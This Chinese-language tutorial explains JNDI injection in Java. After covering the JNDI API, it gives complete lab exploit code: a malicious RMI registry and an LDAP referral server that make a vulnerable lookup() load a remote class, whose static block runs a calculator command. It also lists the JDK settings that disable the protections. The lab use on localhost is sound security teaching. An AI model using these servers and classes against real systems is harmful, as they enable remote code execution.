Java之JNDI注入
About JNDI
0x01 簡介
JNDI(Java Naming and Directory Interface)
是SUN公司提供的一種標準的Java命名系統介面,JNDI提供統一的客戶端API,通過不同的訪問提供者介面JNDI服務供應介面(SPI)的實現,由管理者將JNDI API對映為特定的命名服務和目錄系統,使得Java應用程式可以和這些命名服務和目錄服務之間進行互動。目錄服務是命名服務的一種自然擴充套件。通過呼叫JNDI
的API
應用程式可以定位資源和其他程式物件。JNDI
是Java EE
的重要部分,需要注意的是它並不只是包含了DataSource(JDBC 資料來源)
,JNDI
可訪問的現有的目錄及服務有:DNS、XNam 、Novell目錄服務、LDAP(Lightweight Directory Access Protocol輕型目錄訪問協議)、 CORBA物件服務、檔案系統、Windows XP/2000/NT/Me/9x的登錄檔、RMI、DSML v1&v2、NIS。
0x02 JNDI的用途
JNDI(Java Naming and Directory Interface)是一個應用程式設計的API,為開發人員提供了查詢和訪問各種命名和目錄服務的通用、統一的介面,類似JDBC都是構建在抽象層上。現在JNDI已經成為J2EE的標準之一,所有的J2EE容器都必須提供一個JNDI的服務。
0x03 日常使用
其實簡單看簡介會有點感覺JNDI類似於RMI中的Registry,將其中某一命名服務和相應物件進行繫結,當需要呼叫這個物件中的方法時,通過將指定的名稱作為引數帶入lookup去尋找相應物件。比如在開發中經常用到其去載入實現動態載入資料庫配置檔案,而不用頻繁修改程式碼。
平常使用JNDI注入攻擊時常用的就是RMI和LDAP。並且關於這兩種協議的使用還有些限制,這也會在本文後面提到。
0x04 JNDI命名和目錄服務
Naming Service 命名服務:
命名服務將名稱和物件進行關聯,提供通過名稱找到物件的操作,例如:DNS系統將計算機名和IP地址進行關聯、檔案系統將檔名和檔案控制程式碼進行關聯等等。
Directory Service 目錄服務:
目錄服務是命名服務的擴充套件,除了提供名稱和物件的關聯,還允許物件具有屬性。目錄服務中的物件稱之為目錄物件。目錄服務提供建立、新增、刪除目錄物件以及修改目錄物件屬性等操作。
Reference 引用:
在一些命名服務系統中,系統並不是直接將物件儲存在系統中,而是保持物件的引用。引用包含了如何訪問實際物件的資訊。
這個點用到的也比較多,下面會詳細講。
前置知識
主要是一些常用類和常見方法的小結,copy自nice_0e3師傅文章
InitialContext類
構造方法:
InitialContext()
構建一個初始上下文。
InitialContext(boolean lazy)
構造一個初始上下文,並選擇不初始化它。
InitialContext(Hashtable<?,?> environment)
使用提供的環境構建初始上下文。
InitialContext initialContext = new InitialContext();
在這JDK裡面給的解釋是構建初始上下文,其實通俗點來講就是獲取初始目錄環境。
常用方法:
bind(Name name, Object obj)
將名稱繫結到物件。
list(String name)
列舉在命名上下文中繫結的名稱以及繫結到它們的物件的類名。
lookup(String name)
檢索命名物件。
rebind(String name, Object obj)
將名稱繫結到物件,覆蓋任何現有繫結。
unbind(String name)
取消繫結命名物件。
Reference類
該類也是在javax.naming
的一個類,該類表示對在命名/目錄系統外部找到的物件的引用。提供了JNDI中類的引用功能。
構造方法:
Reference(String className)
為類名為“className”的物件構造一個新的引用。
Reference(String className, RefAddr addr)
為類名為“className”的物件和地址構造一個新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
為類名為“className”的物件,物件工廠的類名和位置以及物件的地址構造一個新引用。
Reference(String className, String factory, String factoryLocation)
為類名為“className”的物件以及物件工廠的類名和位置構造一個新引用。
程式碼:
String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);
引數1:className
- 遠端載入時所使用的類名
引數2:classFactory
- 載入的class
中需要例項化類的名稱
引數3:classFactoryLocation
- 提供classes
資料的地址可以是file/ftp/http
協議
常用方法:
void add(int posn, RefAddr addr)
將地址新增到索引posn的地址列表中。
void add(RefAddr addr)
將地址新增到地址列表的末尾。
void clear()
從此引用中刪除所有地址。
RefAddr get(int posn)
檢索索引posn上的地址。
RefAddr get(String addrType)
檢索地址型別為“addrType”的第一個地址。
Enumeration<RefAddr> getAll()
檢索本參考文獻中地址的列舉。
String getClassName()
檢索引用引用的物件的類名。
String getFactoryClassLocation()
檢索此引用引用的物件的工廠位置。
String getFactoryClassName()
檢索此引用引用物件的工廠的類名。
Object remove(int posn)
從地址列表中刪除索引posn上的地址。
int size()
檢索此引用中的地址數。
String toString()
生成此引用的字串表示形式。
JNDI Demo
下面看一段程式碼,是一段易受JNDI注入攻擊的demo
主要是呼叫的lookup
方法中url
引數可控,那麼可能會導致JNDI注入漏洞的產生。
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIDemo {
public void Jndi(String url) throws NamingException {
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
JNDI+RMI攻擊手法
限制條件:
在
RMI
服務中引用遠端物件將受本地Java環境限制即本地的java.rmi.server.useCodebaseOnly
配置必須為false(允許載入遠端物件)
,如果該值為true
則禁止引用遠端物件。除此之外被引用的ObjectFactory
物件還將受到com.sun.jndi.rmi.object.trustURLCodebase
配置限制,如果該值為false(不信任遠端引用物件)
一樣無法呼叫遠端的引用物件。
JDK 5U45,JDK 6U45,JDK 7u21,JDK 8u121
開始java.rmi.server.useCodebaseOnly
預設配置已經改為了true
。JDK 6u132, JDK 7u122, JDK 8u113
開始com.sun.jndi.rmi.object.trustURLCodebase
預設值已改為了false
。本地測試遠端物件引用可以使用如下方式允許載入遠端的引用物件:
System.setProperty("java.rmi.server.useCodebaseOnly", "false"); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
JNDIServer
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIServer {
public static void main(String[] args) throws NamingException {
String url = "rmi://127.0.0.1:1099/ExportObject";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
JNDIExploitServer
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;
public class JNDIExploitServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
//建立Registry
Registry registry = LocateRegistry.createRegistry(1099);
String url = "http://127.0.0.1:8080/";
// 例項化一個Reference嘗試為遠端物件構造一個引用
Reference reference = new Reference("ExploitObject", "ExploitObject", url);
// 強轉成ReferenceWrapper,因為Reference並沒有繼承Remote介面,不能直接註冊到Registry中
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("ExportObject", referenceWrapper);
System.out.println("Registry&Server Start ...");
//列印別名
System.out.println("Registry List: " + Arrays.toString(registry.list()));
}
}
ExploitObject
public class ExploitObject {
static {
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
System.out.println("Calc Running ...");
}
}
先啟動惡意的JNDIExploitServer,然後執行JNDIServer,當呼叫initialContext.lookup(url)
方法時,會通過rmi協議尋找ExportObject對應的物件referenceWrapper
,而referenceWrapper
為遠端物件ExploitObject
的引用,所以最終例項化的是ExploitObject
從而觸發靜態程式碼塊執行達到任意程式碼執行的目的。
在此期間遇到了幾個坑點,記錄一下:
-
JDK的限制,測試環境延用了RMI時的JDK7u17
-
在編譯ExploitObject類時使用的javac版本最好和idea中測試環境版本一致,可以通過cmdl指定jdk版本的javac去編譯;且生成的class檔案不要帶有包名(例如:
package com.zh1z3ven.jndi
),指定版本javac編譯命令:/Library/Java/JavaVirtualMachines/jdk1.7.0_17.jdk/Contents/Home/bin/javac ./main/java/com/zh1z3ven/jndi/ExploitObject.java
JNDI+LDAP攻擊手法
這裡的限制是在8u191之前
copy一段LDAP的Server端程式碼
LdapServer
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] argsx) {
String[] args = new String[]{"http://127.0.0.1:8080/#ExploitObject"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
JNDIServer2
public class JNDIServer2 {
public static void main(String[] args) throws NamingException {
String url = "ldap://127.0.0.1:7777/ExploitObject";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
ExploitObject
public class ExploitObject {
static {
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
System.out.println("Calc Running ...");
}
}
Reference
如何繞過高版本 JDK 的限制進行 JNDI 注入利用:https://paper.seebug.org/942/
javasec
https://www.cnblogs.com/nice0e3/p/13958047.html
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
https://paper.seebug.org/1091/#jndi